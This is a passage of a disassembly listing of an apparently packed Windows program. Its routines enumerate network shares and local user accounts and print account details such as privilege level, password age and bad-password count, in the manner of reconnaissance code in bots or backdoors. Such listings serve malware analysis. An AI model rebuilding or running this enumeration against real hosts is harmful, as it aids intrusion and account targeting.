[ebp+arg_0] call sub_41B6CD pop ecx mov [ebp+var_C], eax push [ebp+arg_4] call sub_41B6CD pop ecx mov [ebp+var_4], eax push 0 push [ebp+var_4] push [ebp+var_C] call dword_4E15CC mov [ebp+var_8], eax mov eax, [ebp+var_8] leave retn sub_41B724 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B758 proc near ; CODE XREF: sub_4021E5+59EAp var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 224h push [ebp+arg_C] call sub_41B6CD pop ecx mov [ebp+var_21C], eax and [ebp+var_10], 0 and [ebp+var_218], 0 and [ebp+var_8], 0 push 0 push [ebp+arg_8] push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41B797: ; CODE XREF: sub_41B758+16Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_10] push eax push 0FFFFFFFFh lea eax, [ebp+var_C] push eax push 1F6h push [ebp+var_21C] call dword_4E1644 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41B7D3 cmp [ebp+var_14], 0EAh jnz loc_41B881 loc_41B7D3: ; CODE XREF: sub_41B758+6Cj mov eax, [ebp+var_C] mov [ebp+var_4], eax mov [ebp+var_220], 1 jmp short loc_41B7F2 ; --------------------------------------------------------------------------- loc_41B7E5: ; CODE XREF: sub_41B758+119j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_41B7F2: ; CODE XREF: sub_41B758+8Bj mov eax, [ebp+var_220] cmp eax, [ebp+var_10] ja short loc_41B876 mov eax, [ebp+var_4] push dword ptr [eax+24h] call dword_4E15E8 ; IsValidSecurityDescriptor test eax, eax jz short loc_41B819 mov [ebp+var_224], offset aYes ; "Yes" jmp short loc_41B823 ; --------------------------------------------------------------------------- loc_41B819: ; CODE XREF: sub_41B758+B3j mov [ebp+var_224], offset aNo ; "No" loc_41B823: ; CODE XREF: sub_41B758+BFj push [ebp+var_224] mov eax, [ebp+var_4] push dword ptr [eax+14h] mov eax, [ebp+var_4] push dword ptr [eax+18h] mov eax, [ebp+var_4] push dword ptr [eax] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" lea eax, [ebp+var_214] push eax call sub_4219C0 add esp, 18h push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h mov eax, [ebp+var_4] add eax, 28h mov [ebp+var_4], eax jmp loc_41B7E5 ; --------------------------------------------------------------------------- loc_41B876: ; CODE XREF: sub_41B758+A3j push [ebp+var_C] call dword_4E1790 jmp short loc_41B8BC ; --------------------------------------------------------------------------- loc_41B881: ; CODE XREF: sub_41B758+75j push [ebp+var_14] push [ebp+var_14] call sub_41C123 pop ecx push eax push offset unk_44E7E0 lea eax, [ebp+var_214] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41B8BC: ; CODE XREF: sub_41B758+127j cmp [ebp+var_14], 0EAh jz loc_41B797 cmp [ebp+var_14], 0 jz short loc_41B8D3 xor eax, eax jmp short locret_41B8D6 ; --------------------------------------------------------------------------- loc_41B8D3: ; CODE XREF: sub_41B758+175j push 1 pop eax locret_41B8D6: ; CODE XREF: sub_41B758+179j leave retn sub_41B758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8D8 proc near ; CODE XREF: sub_4021E5+5A83p ; sub_4021E5+5AE0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 cmp [ebp+arg_4], 0 jz loc_41B9AF mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41B905 cmp [ebp+var_8], 1 jz short loc_41B92F cmp [ebp+var_8], 2 jz short loc_41B940 jmp short loc_41B959 ; --------------------------------------------------------------------------- loc_41B905: ; CODE XREF: sub_41B8D8+1Dj cmp [ebp+arg_4], 0 jz short loc_41B926 cmp [ebp+arg_8], 0 jz short loc_41B926 push [ebp+arg_8] push [ebp+arg_4] push 0 call sub_41B9D4 add esp, 0Ch mov [ebp+var_4], eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B926: ; CODE XREF: sub_41B8D8+31j ; sub_41B8D8+37j mov [ebp+var_4], 57h loc_41B92D: ; CODE XREF: sub_41B8D8+4Cj jmp short loc_41B959 ; --------------------------------------------------------------------------- loc_41B92F: ; CODE XREF: sub_41B8D8+23j push [ebp+arg_4] push 0 call sub_41BA3F pop ecx pop ecx mov [ebp+var_4], eax jmp short loc_41B959 ; --------------------------------------------------------------------------- loc_41B940: ; CODE XREF: sub_41B8D8+29j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push 0 call sub_41BA71 add esp, 14h mov [ebp+var_4], eax loc_41B959: ; CODE XREF: sub_41B8D8+2Bj ; sub_41B8D8:loc_41B92Dj ... cmp [ebp+var_4], 0 jnz short loc_41B982 push [ebp+arg_4] mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B4[eax] push offset unk_44E808 push offset dword_4E8D24 call sub_4219C0 add esp, 10h jmp short loc_41B9AD ; --------------------------------------------------------------------------- loc_41B982: ; CODE XREF: sub_41B8D8+85j push [ebp+var_4] call sub_41C123 pop ecx push eax push [ebp+arg_4] mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B0[eax] push offset unk_44E828 push offset dword_4E8D24 call sub_4219C0 add esp, 14h loc_41B9AD: ; CODE XREF: sub_41B8D8+A8j jmp short loc_41B9CD ; --------------------------------------------------------------------------- loc_41B9AF: ; CODE XREF: sub_41B8D8+Dj mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B0[eax] push offset unk_44E858 push offset dword_4E8D24 call sub_4219C0 add esp, 0Ch loc_41B9CD: ; CODE XREF: sub_41B8D8:loc_41B9ADj mov eax, offset dword_4E8D24 leave retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D4 proc near ; CODE XREF: sub_41B8D8+41p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_4], 1 and [ebp+var_2C], 0 push [ebp+arg_0] call sub_41B6CD pop ecx mov [ebp+var_30], eax push [ebp+arg_4] call sub_41B6CD pop ecx mov [ebp+var_24], eax push [ebp+arg_8] call sub_41B6CD pop ecx mov [ebp+var_20], eax mov [ebp+var_18], 1 and [ebp+var_14], 0 and [ebp+var_10], 0 mov [ebp+var_C], 10001h and [ebp+var_8], 0 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax push [ebp+var_4] push [ebp+var_30] call dword_4E15D8 mov [ebp+var_28], eax mov eax, [ebp+var_28] leave retn sub_41B9D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA3F proc near ; CODE XREF: sub_41B8D8+5Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_41B6CD pop ecx mov [ebp+var_C], eax push [ebp+arg_4] call sub_41B6CD pop ecx mov [ebp+var_8], eax push [ebp+var_8] push [ebp+var_C] call dword_4E15C8 mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_41BA3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA71 proc near ; CODE XREF: sub_41B8D8+76p var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 21Ch and [ebp+var_8], 0 mov [ebp+var_4], 0Bh push [ebp+arg_0] call sub_41B6CD pop ecx mov [ebp+var_218], eax push [ebp+arg_4] call sub_41B6CD pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_4] push [ebp+var_214] push [ebp+var_218] call dword_4E1758 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz loc_41BEF8 cmp [ebp+var_8], 0 jz loc_41BEF6 mov eax, [ebp+var_8] push dword ptr [eax] push offset aAccountS ; "Account: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+0Ch] push offset aFullNameS ; "Full Name: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+8] push offset aUserCommentS ; "User Comment: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+4] push offset aCommentS ; "Comment: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] mov eax, [eax+10h] mov [ebp+var_21C], eax cmp [ebp+var_21C], 0 jz short loc_41BBCB cmp [ebp+var_21C], 1 jz short loc_41BBD4 cmp [ebp+var_21C], 2 jz short loc_41BBDD jmp short loc_41BBE6 ; --------------------------------------------------------------------------- loc_41BBCB: ; CODE XREF: sub_41BA71+144j mov [ebp+var_C], offset aGuest_0 ; "Guest" jmp short loc_41BBED ; --------------------------------------------------------------------------- loc_41BBD4: ; CODE XREF: sub_41BA71+14Dj mov [ebp+var_C], offset aUser_1 ; "User" jmp short loc_41BBED ; --------------------------------------------------------------------------- loc_41BBDD: ; CODE XREF: sub_41BA71+156j mov [ebp+var_C], offset aAdministrato_0 ; "Administrator" jmp short loc_41BBED ; --------------------------------------------------------------------------- loc_41BBE6: ; CODE XREF: sub_41BA71+158j mov [ebp+var_C], offset aUnknown_1 ; "Unknown" loc_41BBED: ; CODE XREF: sub_41BA71+161j ; sub_41BA71+16Aj ... push [ebp+var_C] push offset aPrivilegeLevel ; "Privilege Level: %s" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+14h] push offset aAuthFlagsD ; "Auth Flags: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+1Ch] push offset aHomeDirectoryS ; "Home Directory: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+20h] push offset aParametersS ; "Parameters: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+18h] push offset aPasswordAgeD ; "Password Age: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+2Ch] push offset aBadPasswordCou ; "Bad Password Count: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+30h] push offset aNumberOfLogins ; "Number of Logins: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+24h] push offset aLastLogonD ; "Last Logon: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+28h] push offset aLastLogoffD ; "Last Logoff: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+34h] push offset aLogonServerS ; "Logon Server: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push offset aWorkstationsS ; "Workstations: %S" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+38h] push offset aCountryCodeD ; "Country Code: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+4Ch] push offset aUserSLanguageD ; "User's Language: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+40h] push offset aMax_StorageD ; "Max. Storage: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] push dword ptr [eax+44h] push offset aUnitsPerWeekD ; "Units Per Week: %d" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h loc_41BEF6: ; CODE XREF: sub_41BA71+5Cj jmp short loc_41BF29 ; --------------------------------------------------------------------------- loc_41BEF8: ; CODE XREF: sub_41BA71+52j push [ebp+var_10] push offset unk_44EA08 lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_10] lea eax, [ebp+var_210] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B00F add esp, 14h loc_41BF29: ; CODE XREF: sub_41BA71:loc_41BEF6j cmp [ebp+var_8], 0 jz short loc_41BF38 push [ebp+var_8] call dword_4E1790 loc_41BF38: ; CODE XREF: sub_41BA71+4BCj mov eax, [ebp+var_10] leave retn sub_41BA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF3D proc near ; CODE XREF: sub_4021E5+5B4Fp var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 22Ch and [ebp+var_14], 0 push [ebp+arg_C] call sub_41B6CD pop ecx mov [ebp+var_228], eax and [ebp+var_4], 0 or [ebp+var_18], 0FFFFFFFFh and [ebp+var_1C], 0 and [ebp+var_224], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 push 0 push [ebp+arg_8] push offset aUsernameAccoun ; "Username accounts for local system:" push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41BF8C: ; CODE XREF: sub_41BF3D+191j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_224] push eax lea eax, [ebp+var_1C] push eax push [ebp+var_18] lea eax, [ebp+var_14] push eax push 2 push [ebp+var_4] push [ebp+var_228] call dword_4E1660 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41BFC9 cmp [ebp+var_20], 0EAh jnz loc_41C079 loc_41BFC9: ; CODE XREF: sub_41BF3D+7Dj mov eax, [ebp+var_14] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_41C077 and [ebp+var_22C], 0 jmp short loc_41BFEF ; --------------------------------------------------------------------------- loc_41BFE2: ; CODE XREF: sub_41BF3D+135j mov eax, [ebp+var_22C] inc eax mov [ebp+var_22C], eax loc_41BFEF: ; CODE XREF: sub_41BF3D+A3j mov eax, [ebp+var_22C] cmp eax, [ebp+var_1C] jnb short loc_41C077 cmp [ebp+var_8], 0 jnz short loc_41C02F push offset unk_44EA50 lea eax, [ebp+var_220] push eax call sub_4219C0 pop ecx pop ecx push 0 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h jmp short loc_41C077 ; --------------------------------------------------------------------------- loc_41C02F: ; CODE XREF: sub_41BF3D+C1j mov eax, [ebp+var_8] push dword ptr [eax] push offset aS_35 ; " %S" lea eax, [ebp+var_220] push eax call sub_4219C0 add esp, 0Ch push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_41BFE2 ; --------------------------------------------------------------------------- loc_41C077: ; CODE XREF: sub_41BF3D+96j ; sub_41BF3D+BBj ... jmp short loc_41C0B4 ; --------------------------------------------------------------------------- loc_41C079: ; CODE XREF: sub_41BF3D+86j push [ebp+var_20] push [ebp+var_20] call sub_41C123 pop ecx push eax push offset unk_44EA84 lea eax, [ebp+var_220] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41C0B4: ; CODE XREF: sub_41BF3D:loc_41C077j cmp [ebp+var_14], 0 jz short loc_41C0C7 push [ebp+var_14] call dword_4E1790 and [ebp+var_14], 0 loc_41C0C7: ; CODE XREF: sub_41BF3D+17Bj cmp [ebp+var_20], 0EAh jz loc_41BF8C cmp [ebp+var_14], 0 jz short loc_41C0E3 push [ebp+var_14] call dword_4E1790 loc_41C0E3: ; CODE XREF: sub_41BF3D+19Bj push [ebp+var_C] push offset aTotalUsersFoun ; "Total users found: %d." lea eax, [ebp+var_220] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h cmp [ebp+var_20], 0 jz short loc_41C11E xor eax, eax jmp short locret_41C121 ; --------------------------------------------------------------------------- loc_41C11E: ; CODE XREF: sub_41BF3D+1DBj push 1 pop eax locret_41C121: ; CODE XREF: sub_41BF3D+1DFj leave retn sub_41BF3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C123 proc near ; CODE XREF: sub_41B4ED+96p ; sub_41B758+12Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 858h ja loc_41C1C4 cmp [ebp+var_4], 858h jz loc_41C3B6 cmp [ebp+var_4], 7Bh ja short loc_41C18E cmp [ebp+var_4], 7Bh jz loc_41C278 cmp [ebp+var_4], 5 jz loc_41C24C cmp [ebp+var_4], 8 jz loc_41C2A4 cmp [ebp+var_4], 32h jz loc_41C2BA cmp [ebp+var_4], 35h jz loc_41C2D0 cmp [ebp+var_4], 57h jz loc_41C28E jmp loc_41C3DC ; --------------------------------------------------------------------------- loc_41C18E: ; CODE XREF: sub_41C123+28j cmp [ebp+var_4], 7Ch jz loc_41C262 cmp [ebp+var_4], 844h jz loc_41C328 cmp [ebp+var_4], 845h jz loc_41C312 cmp [ebp+var_4], 846h jz loc_41C2FC jmp loc_41C3DC ; --------------------------------------------------------------------------- loc_41C1C4: ; CODE XREF: sub_41C123+11j cmp [ebp+var_4], 8C5h ja short loc_41C213 cmp [ebp+var_4], 8C5h jz loc_41C390 cmp [ebp+var_4], 8ADh jz loc_41C3C9 cmp [ebp+var_4], 8AFh jz loc_41C36A cmp [ebp+var_4], 8B0h jz loc_41C37D cmp [ebp+var_4], 8B2h jz loc_41C354 jmp loc_41C3DC ; --------------------------------------------------------------------------- loc_41C213: ; CODE XREF: sub_41C123+A8j cmp [ebp+var_4], 8CAh jz loc_41C3A3 cmp [ebp+var_4], 8E1h jz loc_41C3C9 cmp [ebp+var_4], 906h jz loc_41C2E6 cmp [ebp+var_4], 92Fh jz loc_41C33E jmp loc_41C3DC ; --------------------------------------------------------------------------- loc_41C24C: ; CODE XREF: sub_41C123+38j push offset aAccessDenied_ ; "Access denied." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C262: ; CODE XREF: sub_41C123+6Fj push offset aLevelParameter ; "Level parameter is invalid." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C278: ; CODE XREF: sub_41C123+2Ej push offset aTheNameIsInval ; "The name is invalid." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C28E: ; CODE XREF: sub_41C123+60j push offset aInvalidParamet ; "Invalid parameter." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C123+42j push offset aNotEnoughMemor ; "Not enough memory." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C2BA: ; CODE XREF: sub_41C123+4Cj push offset aThisNetworkReq ; "This network request is not supported." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C2D0: ; CODE XREF: sub_41C123+56j push offset aServerNameNotF ; "Server name not found." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C2E6: ; CODE XREF: sub_41C123+111j push offset aShareNotFound_ ; "Share not found." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C2FC: ; CODE XREF: sub_41C123+96j push offset aDuplicateShare ; "Duplicate share name." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C312: ; CODE XREF: sub_41C123+89j push offset aInvalidForRedi ; "Invalid for redirected resource." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C328: ; CODE XREF: sub_41C123+7Cj push offset aDeviceOrDirect ; "Device or directory does not exist." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C33E: ; CODE XREF: sub_41C123+11Ej push offset aTheComputerNam ; "The computer name is invalid." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C354: ; CODE XREF: sub_41C123+E5j push offset aTheOperationIs ; "The operation is allowed only on the pr"... push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp loc_41C3ED ; --------------------------------------------------------------------------- loc_41C36A: ; CODE XREF: sub_41C123+CBj push offset aTheGroupAlread ; "The group already exists." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C37D: ; CODE XREF: sub_41C123+D8j push offset aTheUserAccount ; "The user account already exists." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C390: ; CODE XREF: sub_41C123+B1j push offset aThePasswordIsS ; "The password is shorter than required ("... push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C3A3: ; CODE XREF: sub_41C123+F7j push offset aNetworkConnect ; "Network connection not found." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C3B6: ; CODE XREF: sub_41C123+1Ej push offset aAGeneralFailur ; "A general failure occurred in the netwo"... push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C3C9: ; CODE XREF: sub_41C123+BEj ; sub_41C123+104j push offset aTheUserNameCou ; "The user name could not be found." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx jmp short loc_41C3ED ; --------------------------------------------------------------------------- loc_41C3DC: ; CODE XREF: sub_41C123+66j ; sub_41C123+9Cj ... push offset aAnUnknownErr_0 ; "An unknown error occurred." push offset dword_4E8AC4 call sub_4219C0 pop ecx pop ecx loc_41C3ED: ; CODE XREF: sub_41C123+13Aj ; sub_41C123+150j ... mov eax, offset dword_4E8AC4 leave retn sub_41C123 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3F4 proc near ; CODE XREF: sub_4021E5+5BCAp var_720 = byte ptr -720h var_618 = dword ptr -618h var_614 = dword ptr -614h var_610 = byte ptr -610h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 720h push 200h push [ebp+arg_0] lea eax, [ebp+var_400] push eax call sub_4245A0 add esp, 0Ch mov [ebp+var_614], 108h lea eax, [ebp+var_614] push eax lea eax, [ebp+var_720] push eax call near ptr 27E0000h nop push 108h lea eax, [ebp+var_720] push eax lea eax, [ebp+var_610] push eax call sub_4245A0 add esp, 0Ch lea eax, [ebp+var_400] push eax call sub_424570 pop ecx shl eax, 1 push eax lea eax, [ebp+var_400] push eax push 0 lea eax, [ebp+var_610] push eax push 0 call dword_4E1710 mov [ebp+var_618], eax cmp [ebp+var_618], 0 jnz short loc_41C497 push offset unk_44ED80 push offset dword_4E88C0 call sub_4219C0 pop ecx pop ecx jmp short loc_41C4C4 ; --------------------------------------------------------------------------- loc_41C497: ; CODE XREF: sub_41C3F4+8Ej lea eax, [ebp+var_400] push eax lea eax, [ebp+var_610] push eax push [ebp+var_618] call sub_41C123 pop ecx push eax push offset dword_44EDA8 push offset dword_4E88C0 call sub_4219C0 add esp, 14h loc_41C4C4: ; CODE XREF: sub_41C3F4+A1j mov eax, offset dword_4E88C0 leave retn sub_41C3F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 9Ch mov dword ptr [ebp-8], offset dword_4E912C mov dword ptr [ebp-4], offset dword_4E9130 mov dword ptr [ebp-9Ch], 94h lea eax, [ebp-9Ch] push eax nop call near ptr 27F0576h cmp dword ptr [ebp-98h], 5 jnz short loc_41C527 cmp dword ptr [ebp-94h], 1 jnz short loc_41C527 push offset dword_44EDD4 lea eax, [ebp-88h] push eax call sub_421B10 pop ecx pop ecx test eax, eax jz short loc_41C527 push 1 pop eax jmp short locret_41C529 ; --------------------------------------------------------------------------- loc_41C527: ; CODE XREF: .XComp0:0041C500j ; .XComp0:0041C509j ... xor eax, eax locret_41C529: ; CODE XREF: .XComp0:0041C525j leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 104h push dword ptr 